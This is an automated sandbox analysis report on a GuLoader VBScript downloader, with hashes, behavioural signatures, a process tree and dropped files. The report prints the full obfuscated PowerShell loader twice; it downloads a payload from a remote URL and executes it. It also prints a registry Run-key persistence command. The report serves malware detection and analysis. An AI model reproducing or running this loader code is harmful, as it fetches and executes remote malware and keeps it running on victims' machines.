Analysis
- max time kernel
147s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
30/06/2024, 01:18
Static task
static1
Behavioral task
behavioral1
Sample
8028ef562bc9d2bd5035279b7cfd2abbd59ffb292b67a5a431379e2e5aa4b380.vbs
Resource
win7-20240220-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
8028ef562bc9d2bd5035279b7cfd2abbd59ffb292b67a5a431379e2e5aa4b380.vbs
Resource
win10v2004-20240508-en
14 signatures
150 seconds
General
- Target 8028ef562bc9d2bd5035279b7cfd2abbd59ffb292b67a5a431379e2e5aa4b380.vbs
- Size 187KB
- Sample240630-bn2gcs1ere
- SHA256 8028ef562bc9d2bd5035279b7cfd2abbd59ffb292b67a5a431379e2e5aa4b380
- MD5 7b1d4760615cc6bb3cc9219eb1468965
- SHA1 a4a57a4155fcd8351a1423134fc60df55769466d
- SHA512 49f9045ab51ab2aa7bbb2e76355c18616325af02d4b7a2374eb59d82a3bd9d081e773b96f8c5d78718a9e67acd9b47e8c5cc08e83a59e514b8179c0c91ddaaa1
- SSDEEP 3072:ImN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZl:I08GxbKja3+DCbKCvBB/WnHXC/sLJFJw
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Blocklisted process makes network request 2 IoCs
flow pid Process 4 1932 WScript.exe 16 1472 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation WScript.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Femcifret% -w 1 $Nonchastity=(Get-ItemProperty -Path 'HKCU:\\Phonemicize\\').Horsefly;%Femcifret% ($Nonchastity)" reg.exe - Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 2912 wab.exe 2912 wab.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4476 powershell.exe 2912 wab.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4476 set thread context of 2912 4476 powershell.exe 92 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry key 1 TTPs 1 IoCs
pid Process 4216 reg.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1472 powershell.exe 1472 powershell.exe 4476 powershell.exe 4476 powershell.exe 4476 powershell.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4476 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1472 powershell.exe Token: SeDebugPrivilege 4476 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2912 wab.exe - Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 1932 wrote to memory of 1472 1932 WScript.exe 81 PID 1932 wrote to memory of 1472 1932 WScript.exe 81 PID 1472 wrote to memory of 2624 1472 powershell.exe 83 PID 1472 wrote to memory of 2624 1472 powershell.exe 83 PID 1472 wrote to memory of 4476 1472 powershell.exe 88 PID 1472 wrote to memory of 4476 1472 powershell.exe 88 PID 1472 wrote to memory of 4476 1472 powershell.exe 88 PID 4476 wrote to memory of 1724 4476 powershell.exe 91 PID 4476 wrote to memory of 1724 4476 powershell.exe 91 PID 4476 wrote to memory of 1724 4476 powershell.exe 91 PID 4476 wrote to memory of 2912 4476 powershell.exe 92 PID 4476 wrote to memory of 2912 4476 powershell.exe 92 PID 4476 wrote to memory of 2912 4476 powershell.exe 92 PID 4476 wrote to memory of 2912 4476 powershell.exe 92 PID 4476 wrote to memory of 2912 4476 powershell.exe 92 PID 2912 wrote to memory of 3668 2912 wab.exe 93 PID 2912 wrote to memory of 3668 2912 wab.exe 93 PID 2912 wrote to memory of 3668 2912 wab.exe 93 PID 3668 wrote to memory of 4216 3668 cmd.exe 95 PID 3668 wrote to memory of 4216 3668 cmd.exe 95 PID 3668 wrote to memory of 4216 3668 cmd.exe 95
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8028ef562bc9d2bd5035279b7cfd2abbd59ffb292b67a5a431379e2e5aa4b380.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Cubito Afsnittenes8 Solbrsafters Snetykningen Vagtsommestes Sejls Observation Skaldyraflejringens Ricinelaidinic afforce Deloitte Gendarmere223 Baldrick uafrysteligt imbeciles Gozzard Burle Nosophobia Flydedokkers Turbokompressorerne Forpagtnigsafgifts Longways Strae blindsmmenes Cubito Afsnittenes8 Solbrsafters Snetykningen Vagtsommestes Sejls Observation Skaldyraflejringens Ricinelaidinic afforce Deloitte Gendarmere223 Baldrick uafrysteligt imbeciles Gozzard Burle Nosophobia Flydedokkers Turbokompressorerne Forpagtnigsafgifts Longways Strae blindsmmenes';If (${host}.CurrentCulture) {$Gbakkerne60++;}Function Selvforglemmelsen($Abampere){$spunky=$Abampere.Length-$Gbakkerne60;$tabelnavne='SUBsTRI';$tabelnavne+='ng';For( $Anguid=1;$Anguid -lt $spunky;$Anguid+=2){$Cubito+=$Abampere.$tabelnavne.Invoke( $Anguid, $Gbakkerne60);}$Cubito;}function Nordstenvind($Vimse){ & ($Guarantors21) ($Vimse);}$Retskredses=Selvforglemmelsen ' M,oHzNiSlKlCa /G5E.,0, ( W.iBn dAo wEsP hNST n1O0A.S0,;d W i n 6N4 ;S OxH6A4 ; Ar v :R1 2I1.. 0,)S G e.cRkeo./K2 0S1 0B0p1O0 1 .F i,rKe f o,x./T1s2B1f. 0T ';$Palletizer=Selvforglemmelsen 'MU sSe r -mASg.eMnUt ';$Vagtsommestes=Selvforglemmelsen '.h.t tOp.s.:,/O/TmWoCv iUe s mFagc k.tsaKl.kf.,c o,mO/ nAeKwIsD/ zBzOz /TRTe g l e r.nSeSs ..pmc.xS ';$Pugrees=Selvforglemmelsen 'O>A ';$Guarantors21=Selvforglemmelsen '.i eMx, ';$Miasmas='Skaldyraflejringens';$Stemmeurnernes109 = Selvforglemmelsen ' eAc h.o, ,%GaMp.pJd aAtUa %.\OD,a mHpCk oegTe nMd,e . O.v,em a& &P ae cahIo .t, ';Nordstenvind (Selvforglemmelsen 'A$BgSl oSb aDl.:MS e,cOobn d i.nNgF=V(.c m dK /.cw K$ SIt e,m.mRe uLr n.e.r n,e.s,1S0 9 )D ');Nordstenvind (Selvforglemmelsen '.$Gg l o bPaDlF:tS.n e,t.y,kAnIi nAg e,n =M$SV aFg,t sPoOmPmte sMt,e sN. sOpHlBi,tD(N$ PBuBgMr,e.eAs.)I ');Nordstenvind (Selvforglemmelsen 'T[FN.ePt .ES eUr v iUcZe P o iCn t MOa.n.a,gIeRr ]S:.: SHeFc ucr i tNy.PMrKo t o.cBoFlM =. P[ N eOt,.US eAc.upr i,tUyDPFrPo.tBo cHo.lKT y pEeE]R:D:,TLlSs 1.2K ');$Vagtsommestes=$Snetykningen[0];$nonagglutinator= (Selvforglemmelsen 'D$SgolUoUb aTlC:ZH,a bGs b uBr g e.rCe =,NJeKwM-EO,bSj e,cBt SFy sPtReUmK.SN estA.AWOeAb CUl.i ePn.t');$nonagglutinator+=$Seconding[1];Nordstenvind ($nonagglutinator);Nordstenvind (Selvforglemmelsen 'F$ HDaUb s b u rBg,e.r e..OHLe a dAePr.sN[ $EP aMlDlpeMt iEz e.r ]F=R$ R eStKsCk r.e dFsieKs ');$Daarekistelem=Selvforglemmelsen 'P$ HGaKbEsDbPu,r gde rkeS.OD oAwUnKl o,a,dWF iSlKe.( $ V.aNg.t s oCm,m eKs.tGe sN,F$CLSo nIgCwUa y sI), ';$Longways=$Seconding[0];Nordstenvind (Selvforglemmelsen 'P$bgBl.o bTa la: MPbReAl,p oJlFiCt usrFeAnF=,( T.e sItS-VP aDtGh d$SL o n gUw aAy sS)A ');while (!$Mbelpolituren) {Nordstenvind (Selvforglemmelsen 'B$HgMl o bPaSl.:.GPeonAnFeEmOp.r v eBtt=C$ t r u eG ') ;Nordstenvind $Daarekistelem;Nordstenvind (Selvforglemmelsen 'TSTtda rMtb-SSUl e eEpE F4T ');Nordstenvind (Selvforglemmelsen ',$ g l,o bEablV: MGb,e l.pCoNl.i t uFr e n = ( TGeTsLt -IPKa t h P$.LEoMn g wFa yDs,)R ') ;Nordstenvind (Selvforglemmelsen ' $ g l,oSb a lF:SS o l bAr.sMaefMt eCr sG=S$Kg.lDoCbIa lC:MAAfKs.n,i,tKt.eEn e,sS8U+F+ %,$BS,nDe,t yMk n iEn,g eHn .ScBoPu nFtA ') ;$Vagtsommestes=$Snetykningen[$Solbrsafters];}$Placentoid=334153;$Umuliggjordes143=26684;Nordstenvind (Selvforglemmelsen ' $ gSl oAbSa.l,:,RSi,c iAnse,l aSi.dNienFiSc I=, UGNeVt - C o.n t ennAtR A$.L,oSnSgRwoa,y s ');Nordstenvind (Selvforglemmelsen ' $ gPl o bHaSl.: KPrimOm eMr sPjsl e n s = B[DS y s.tGeOmU.SC.oKn v eRr,t ]L:D:SFVr o mVB,a sFeB6 4 S.tAr iCnTg (C$ RFi c.i nFe,l a,i,d.iKn iRc ). ');Nordstenvind (Selvforglemmelsen ' $ gKl o.bSaSl :RG e nVdGa r mPe rle 2,2C3 B= b[,SDy s t etmK. TSe,x.tF.GE.ndcMo d,iAnfgF]B: :HAHS C ISI . G.e t SCtmr i n gV( $MKTrDmPmUeIr s,j lSe,n sB)t ');Nordstenvind (Selvforglemmelsen 'c$Cg l o b,a lS:PW,oMrUl.dMissLhI2 5,5 =t$.GFeOn,dAa,rAm e.rPeU2K2,3 .,s u bCsRt,rUi nFg (g$HP l aScVe,n tgo.i.dN,C$JUAm.u.lti gsgsjMour dKeOs.1s4 3 )I ');Nordstenvind $Worldish255;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Dampkogende.Ove && echo t"3⤵PID:2624
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Cubito Afsnittenes8 Solbrsafters Snetykningen Vagtsommestes Sejls Observation Skaldyraflejringens Ricinelaidinic afforce Deloitte Gendarmere223 Baldrick uafrysteligt imbeciles Gozzard Burle Nosophobia Flydedokkers Turbokompressorerne Forpagtnigsafgifts Longways Strae blindsmmenes Cubito Afsnittenes8 Solbrsafters Snetykningen Vagtsommestes Sejls Observation Skaldyraflejringens Ricinelaidinic afforce Deloitte Gendarmere223 Baldrick uafrysteligt imbeciles Gozzard Burle Nosophobia Flydedokkers Turbokompressorerne Forpagtnigsafgifts Longways Strae blindsmmenes';If (${host}.CurrentCulture) {$Gbakkerne60++;}Function Selvforglemmelsen($Abampere){$spunky=$Abampere.Length-$Gbakkerne60;$tabelnavne='SUBsTRI';$tabelnavne+='ng';For( $Anguid=1;$Anguid -lt $spunky;$Anguid+=2){$Cubito+=$Abampere.$tabelnavne.Invoke( $Anguid, $Gbakkerne60);}$Cubito;}function Nordstenvind($Vimse){ & ($Guarantors21) ($Vimse);}$Retskredses=Selvforglemmelsen ' M,oHzNiSlKlCa /G5E.,0, ( W.iBn dAo wEsP hNST n1O0A.S0,;d W i n 6N4 ;S OxH6A4 ; Ar v :R1 2I1.. 0,)S G e.cRkeo./K2 0S1 0B0p1O0 1 .F i,rKe f o,x./T1s2B1f. 0T ';$Palletizer=Selvforglemmelsen 'MU sSe r -mASg.eMnUt ';$Vagtsommestes=Selvforglemmelsen '.h.t tOp.s.:,/O/TmWoCv iUe s mFagc k.tsaKl.kf.,c o,mO/ nAeKwIsD/ zBzOz /TRTe g l e r.nSeSs ..pmc.xS ';$Pugrees=Selvforglemmelsen 'O>A ';$Guarantors21=Selvforglemmelsen '.i eMx, ';$Miasmas='Skaldyraflejringens';$Stemmeurnernes109 = Selvforglemmelsen ' eAc h.o, ,%GaMp.pJd aAtUa %.\OD,a mHpCk oegTe nMd,e . O.v,em a& &P ae cahIo .t, ';Nordstenvind (Selvforglemmelsen 'A$BgSl oSb aDl.:MS e,cOobn d i.nNgF=V(.c m dK /.cw K$ SIt e,m.mRe uLr n.e.r n,e.s,1S0 9 )D ');Nordstenvind (Selvforglemmelsen '.$Gg l o bPaDlF:tS.n e,t.y,kAnIi nAg e,n =M$SV aFg,t sPoOmPmte sMt,e sN. sOpHlBi,tD(N$ PBuBgMr,e.eAs.)I ');Nordstenvind (Selvforglemmelsen 'T[FN.ePt .ES eUr v iUcZe P o iCn t MOa.n.a,gIeRr ]S:.: SHeFc ucr i tNy.PMrKo t o.cBoFlM =. P[ N eOt,.US eAc.upr i,tUyDPFrPo.tBo cHo.lKT y pEeE]R:D:,TLlSs 1.2K ');$Vagtsommestes=$Snetykningen[0];$nonagglutinator= (Selvforglemmelsen 'D$SgolUoUb aTlC:ZH,a bGs b uBr g e.rCe =,NJeKwM-EO,bSj e,cBt SFy sPtReUmK.SN estA.AWOeAb CUl.i ePn.t');$nonagglutinator+=$Seconding[1];Nordstenvind ($nonagglutinator);Nordstenvind (Selvforglemmelsen 'F$ HDaUb s b u rBg,e.r e..OHLe a dAePr.sN[ $EP aMlDlpeMt iEz e.r ]F=R$ R eStKsCk r.e dFsieKs ');$Daarekistelem=Selvforglemmelsen 'P$ HGaKbEsDbPu,r gde rkeS.OD oAwUnKl o,a,dWF iSlKe.( $ V.aNg.t s oCm,m eKs.tGe sN,F$CLSo nIgCwUa y sI), ';$Longways=$Seconding[0];Nordstenvind (Selvforglemmelsen 'P$bgBl.o bTa la: MPbReAl,p oJlFiCt usrFeAnF=,( T.e sItS-VP aDtGh d$SL o n gUw aAy sS)A ');while (!$Mbelpolituren) {Nordstenvind (Selvforglemmelsen 'B$HgMl o bPaSl.:.GPeonAnFeEmOp.r v eBtt=C$ t r u eG ') ;Nordstenvind $Daarekistelem;Nordstenvind (Selvforglemmelsen 'TSTtda rMtb-SSUl e eEpE F4T ');Nordstenvind (Selvforglemmelsen ',$ g l,o bEablV: MGb,e l.pCoNl.i t uFr e n = ( TGeTsLt -IPKa t h P$.LEoMn g wFa yDs,)R ') ;Nordstenvind (Selvforglemmelsen ' $ g l,oSb a lF:SS o l bAr.sMaefMt eCr sG=S$Kg.lDoCbIa lC:MAAfKs.n,i,tKt.eEn e,sS8U+F+ %,$BS,nDe,t yMk n iEn,g eHn .ScBoPu nFtA ') ;$Vagtsommestes=$Snetykningen[$Solbrsafters];}$Placentoid=334153;$Umuliggjordes143=26684;Nordstenvind (Selvforglemmelsen ' $ gSl oAbSa.l,:,RSi,c iAnse,l aSi.dNienFiSc I=, UGNeVt - C o.n t ennAtR A$.L,oSnSgRwoa,y s ');Nordstenvind (Selvforglemmelsen ' $ gPl o bHaSl.: KPrimOm eMr sPjsl e n s = B[DS y s.tGeOmU.SC.oKn v eRr,t ]L:D:SFVr o mVB,a sFeB6 4 S.tAr iCnTg (C$ RFi c.i nFe,l a,i,d.iKn iRc ). ');Nordstenvind (Selvforglemmelsen ' $ gKl o.bSaSl :RG e nVdGa r mPe rle 2,2C3 B= b[,SDy s t etmK. TSe,x.tF.GE.ndcMo d,iAnfgF]B: :HAHS C ISI . G.e t SCtmr i n gV( $MKTrDmPmUeIr s,j lSe,n sB)t ');Nordstenvind (Selvforglemmelsen 'c$Cg l o b,a lS:PW,oMrUl.dMissLhI2 5,5 =t$.GFeOn,dAa,rAm e.rPeU2K2,3 .,s u bCsRt,rUi nFg (g$HP l aScVe,n tgo.i.dN,C$JUAm.u.lti gsgsjMour dKeOs.1s4 3 )I ');Nordstenvind $Worldish255;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Dampkogende.Ove && echo t"4⤵PID:1724
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Femcifret% -w 1 $Nonchastity=(Get-ItemProperty -Path 'HKCU:\Phonemicize\').Horsefly;%Femcifret% ($Nonchastity)"5⤵
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Femcifret% -w 1 $Nonchastity=(Get-ItemProperty -Path 'HKCU:\Phonemicize\').Horsefly;%Femcifret% ($Nonchastity)"6⤵
- Adds Run key to start application
- Modifies registry key
PID:4216
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h5qn4kbo.k5w.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Dampkogende.Ove
- Size 469KB
- SHA256 ead9c28399d12285d17e0e2967f7d7473ce5e2359dc7f88605bc45fc5b92dfdd
- MD5 8bd368915017157ae2622d2f3275283b
- SHA1 dac1e7dcbab2804b931bf480e29bbb709082118d
- SHA512 135b4b1e78738732b26900fc336d25ab1a6fdef88957ee5f3513f887d07edb1617ae4e4fa7920ae850e137720d470088ae59b3b8faa1407cfc213bf6160c285c
- SSDEEP 12288:xUVBYibgTi+433QmoitH8xG99mHtWqoomv:xU7/brHQm1xtV
- MD5 SHA1 SHA512 SSDEEP